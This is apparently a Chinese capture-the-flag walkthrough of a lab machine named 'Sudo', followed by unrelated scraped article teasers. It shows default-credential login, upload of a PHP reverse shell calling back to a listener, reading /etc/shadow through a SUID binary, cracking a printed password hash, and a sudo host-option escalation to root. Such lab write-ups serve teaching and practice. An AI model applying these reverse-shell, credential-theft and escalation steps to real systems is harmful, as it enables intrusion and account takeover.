20250711_Sudo 靶機復盤

target:192.168.43.20

外部打點 (文件上傳)

nmap掃一下,80,22 開放

掃目錄,發現 README.md

[17:04:30] 200 -  664B  - /Dockerfile                                       
[17:04:38] 200 -   34KB - /LICENSE                                          
[17:04:48] 200 -    5KB - /README.md                                        
[17:04:50] 403 -  278B  - /server-status/                                   
[17:04:50] 403 -  278B  - /server-status                                    
[17:04:55] 200 -    4KB - /tinyfilemanager.php 
Default username/password: **admin/admin@123** and **user/12345**.

得到賬號密碼 ==> admin:admin@123

進入 web 界面,成功登錄

登錄后進入文件上傳功能,上傳 php-reverse-shell.php,攻擊機開監聽 nc -lvnp 8999
瀏覽器訪問 http://192.168.43.20/php-reverse-shell.php 成功反彈shell

// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.43.57';  // CHANGE THIS
$port = 8999;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
...

權限提升 (文件讀取和sudo配置)

得到 www-data 用戶

進入/home/eecho,得到 user.txt,即 flag1

上傳 linpeas ,全局掃描可疑點

也可以 find / -perm -4000 2>/dev/null 查找具有 suid 位的文件

找到 /usr/bin/read_file 這個特殊的可執行文件

-rwsr-sr-x 1 root root 17528 Jul  9 05:01 /usr/bin/read_file

查看幫助

Usage: read_file -f <filepath>
Options:-h         Show this help message-f <file>  Specify the file to view (must be under /etc)Security restrictions:- File path must start with /etc/- Symbolic links and path traversal are blocked- Only regular files can be read

也就是可以讀取 /etc 下的文件

直接讀取 /etc/shadow 和 /etc/soduers

拿到加密后的 root 和 eecho 的密碼,以及 soduers 配置

eecho:$6$mL.9/fVsBqItNR..$GyJfKOjLcovjApxygZ79CjKcqJmJ37jC8y9KeLq81fLAnNCYVP1Nw9d8Dp9pZi/l3CWJ3PHL1l/Hld3sFmZoQ.:20278:0:99999:7:::

爆破 eecho 密碼

john $6$mL.9/fVsBqItNR..$GyJfKOjLcovjApxygZ79CjKcqJmJ37jC8y9KeLq81fLAnNCYVP1Nw9d8Dp9pZi/l3CWJ3PHL1l/Hld3sFmZoQ.

在這里插入圖片描述

得到 eecho:alexis15

ssh 連接成功

剛才 sudoers 文件內容如下

Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"# Host alias specification# User alias specification# Cmnd alias specification# User privilege specification
root	ALL=(ALL:ALL) ALL# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL
eecho Dashazi = NOPASSWD:ALL
# See sudoers(5) for more information on "@include" directives:

即 eecho 可以在主機 Dasahzi 上執行任意命令

eecho@Sudo:~$ sudo -i -h Dashazi
sudo: unable to resolve host Dashazi: Name or service not known
root@Sudo:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Sudo:~# ls
root.txt
root@Sudo:~# cat root.txt 
flag{root}
root@Sudo:~# 

sudo -h 指定主機,直接切換為 root

結束

總結

首先目錄爆破翻配置文件找到默認用戶名密碼,登錄
然后在文件上傳點上反彈shell馬
進到 home 查看用戶
查找到 SUID 位文件 read_file,讀取敏感文件 /etc/shadow,/etc/sudoers
爆破加密的密碼
成功切換eecho用戶后,指定主機名 sudo -i 切換為 root
sudo -i -h Dashazi

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/88670.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/88670.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/88670.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

STEP 7-Micro/WIN SMART 編程軟件:從入門到精通的使用指南

STEP 7-Micro/WIN SMART 編程軟件&#xff1a;從入門到精通的使用指南 在工業自動化控制領域&#xff0c;編程軟件是連接工程師與 PLC 的橋梁&#xff0c;而 STEP 7-Micro/WIN SMART 作為 S7-200 SMART PLC 的專用編程工具&#xff0c;以其友好的界面和高效的編程能力備受青睞。…

模型訓練與部署注意事項篇---resize

圖像大小的影響在 YOLOv 系列模型的訓練和推理部署過程中&#xff0c;圖像大小的選擇是影響模型性能&#xff08;精度、速度、泛化能力&#xff09;的關鍵因素之一。兩者的關系既相互關聯&#xff0c;又存在一定的靈活性&#xff0c;具體可從以下幾個方面詳細分析&#xff1a;一…

【Python】venv:配置獨立鏡像源

為某個特定的 venv 虛擬環境設置 pip 鏡像源&#xff0c;使得該環境下的 pip 安裝始終使用自定義鏡像源&#xff0c;不影響系統 pip&#xff0c;也不依賴用戶級配置文件。環境準備 1. 創建虛擬環境 python -m venv venv2. 激活虛擬環境Windows: .\venv\Scripts\activateLinux/m…

日本語言學校:簽證制度類 Prompt 的結構整理路徑與策略

日本語言學校&#xff1a;簽證制度類 Prompt 的結構整理路徑與策略 我們在構建語言留學語義系統的過程中&#xff0c;嘗試以“簽證風險”為例&#xff0c;探索如何讓結構信息被更好地保留下來。本文不介紹 Prompt 本身&#xff0c;也不夸大其作用&#xff0c;而是希望借此與更…

RFCOMM協議詳解:串口仿真與TCP/IP協議棧移植技術——面試高頻考點與真題解析

一、RFCOMM 協議核心考點與高頻面試問題1.1 協議基礎與核心功能考點解析&#xff1a;RFCOMM&#xff08;Radio Frequency Communication&#xff09;是藍牙協議棧中實現串口仿真的核心協議&#xff0c;基于 L2CAP 協議提供類似 RS-232 的可靠數據流傳輸。其核心功能包括&#x…

【編程實踐】利用open3d生成物體的最長邊方向并可視化

1 利用3d軟件生成一個長方體 邊長隨意&#xff0c;長度隨意 2 導出為模型文件并采樣為點云數據 從mesh表面進行采樣&#xff0c;點數根據自己需求進行設置&#xff0c;此處設置為100000。采樣結果&#xff1a;3 識別OBB外接框并可視化長邊方向import numpy as np import open3d…

1. 好的設計原則

目錄一、應該具備的性質二、面向對象設計原則三、詳解3.1 開閉原則3.2 單一職責原則3.3 里氏替換原則3.4 依賴倒置原則3.5 接口隔離原則3.6 合成復用原則3.7 迪米特原則一、應該具備的性質 可擴展性靈活性可插入性 二、面向對象設計原則 以下設計原則的重要性從高到低排列 …

深度學習圖像分類數據集—貓七種表情識別分類

該數據集為圖像分類數據集&#xff0c;適用于ResNet、VGG等卷積神經網絡&#xff0c;SENet、CBAM等注意力機制相關算法&#xff0c;Vision Transformer等Transformer相關算法。 數據集信息介紹&#xff1a;貓七種表情識別分類&#xff1a;[Angry, Disgusted, Happy, Normal, Sa…

002_Claude模型與定價

Claude模型與定價 目錄 Claude 4 模型系列模型功能對比定價策略計費說明企業定價使用建議 Claude 4 模型系列 Anthropic 推出了最新的 Claude 4 系列模型&#xff0c;提供不同性能等級以滿足各種需求&#xff1a; Claude Opus 4 定位&#xff1a;最強大、最智能的模型特點…

【牛客刷題】游游的字母串

文章目錄 一、題目介紹1.1 題目描述1.2 輸入描述:1.3 輸出描述:1.4 示例1二、解題二、解題思路2.1 核心問題2.2 關鍵策略三、算法分析3.1 為什么正確?3.2 復雜度分析四、模擬演練五、完整代碼一、題目介紹 題目:游游的字母串 1.1 題目描述 對于一個小寫字母而言,游游可以通…

docker容器高級管理-dockerfile創建鏡像

目錄一.構建LNMP架構1.構建nginx容器①拉取centos鏡像&#xff08;對鏡像做基礎架構&#xff09;②創建dockerfile工作目錄&#xff08;可以是一個服務的項目&#xff09;③創建dockerfile④創建啟動腳本2.構建mysql數據庫①創建mysql項目②配置dockersfile文件④創建鏡像文件3…

北京-4年功能測試2年空窗-報培訓班學測開-第四十九天

今天自習&#xff0c;在自習室嚶…今天效率不高&#xff0c;導致焦慮。不&#xff0c;或者該說&#xff0c;因為焦慮導致效率不高&#xff1f;沒有達到自己預期&#xff0c;對自己也不滿意臨近結課&#xff0c;突然有些迷茫&#xff0c;我知道我要做的還有很多&#xff0c;要學…

css選擇器的優先級以及用法

在 CSS 中&#xff0c;當多個選擇器同時作用于一個元素&#xff0c;并且為該元素的同一屬性設置了不同的值時&#xff0c;就需要依據選擇器的優先級來確定最終應用哪個樣式。本文詳細介紹 CSS 選擇器優先級的相關內容。 本文目錄一、單個選擇器的優先級1. 內聯樣式2. ID 選擇器…

hercules zos 安裝 jdk 8

首先到 IBM 官網下載相關 PAX 檔 (SDK8_31bit_SR8_FP45.PAX.Z) 和 SDK8_31bit_readme.txt https://www.ibm.com/support/pages/java-sdk-products-zos 在 hercules 裡加一些新卷用來存放這個 JDK (UAPP02)&#xff0c;UTMP02 也可以順便加上讓 OMVS IBMUSER 下多一些存放空間&…

張量索引操作

一.前言本期我們來說一下張量的索引操作&#xff0c;需要掌握張量不同索引操作&#xff0c;我們在操作張量時&#xff0c;經常需要去進?獲取或者修改操作&#xff0c;掌握張量的花式索引操作是必須的?項能?。二.簡單行、列索引import torchdata torch.randint(0, 10, [4, 5…

docker 啟動中間件

docker 啟動 MySQL # 創建目錄 mkdir -p /Users/dongdong/software/mysql/{conf,data}docker run -d \ -p 3306:3306 \ -v /Users/dongdong/software/mysql/conf:/etc/mysql/conf.d \ -v /Users/dongdong/software/mysql/data:/var/lib/mysql \ -e MYSQL_ROOT_PASSWORDroot \ -…

如何批量旋轉視頻90度?

用相機拍攝視頻的時候&#xff0c;原本是豎直拍的&#xff0c;但是放到電腦里面看的時候&#xff0c;卻變成了橫版的。如果我們需要放到剪映或者其他軟件做剪輯的時候&#xff0c;一個一個去旋轉視頻會比較麻煩&#xff0c;這里&#xff0c;我們可以事先用.bat文件批處理的方式…

(2025)IDEA 下載與安裝保姆級指南

目錄 一、下載 IntelliJ IDEA &#xff08;一&#xff09;訪問官方網站 &#xff08;二&#xff09;選擇版本 &#xff08;三&#xff09;下載安裝包 二、安裝 IntelliJ IDEA &#xff08;一&#xff09;運行安裝程序 &#xff08;二&#xff09;選擇安裝語言 &#xf…

【CV綜合實戰】基于深度學習的工業壓力表智能檢測與讀數系統【1】壓力表位置檢測

《------往期經典推薦------》 一、AI應用軟件開發實戰專欄【鏈接】 項目名稱項目名稱1.【人臉識別與管理系統開發】2.【車牌識別與自動收費管理系統開發】3.【手勢識別系統開發】4.【人臉面部活體檢測系統開發】5.【圖片風格快速遷移軟件開發】6.【人臉表表情識別系統】7.【…

性能狂飆 Gooxi 8卡5090服務器重新定義高密度算力

國鑫Intel Eagle Stream平臺8卡RTX5090AI服務器性能到底有多強&#xff1f;小編一文帶你看懂個中奧妙。國鑫Intel Eagle Stream平臺8卡RTX5090AI服務器如圖&#xff0c;國鑫Intel Eagle Stream平臺8卡RTX5090AI服務器&#xff08;SY6108G-G4&#xff09;只有6U高度&#xff0c;…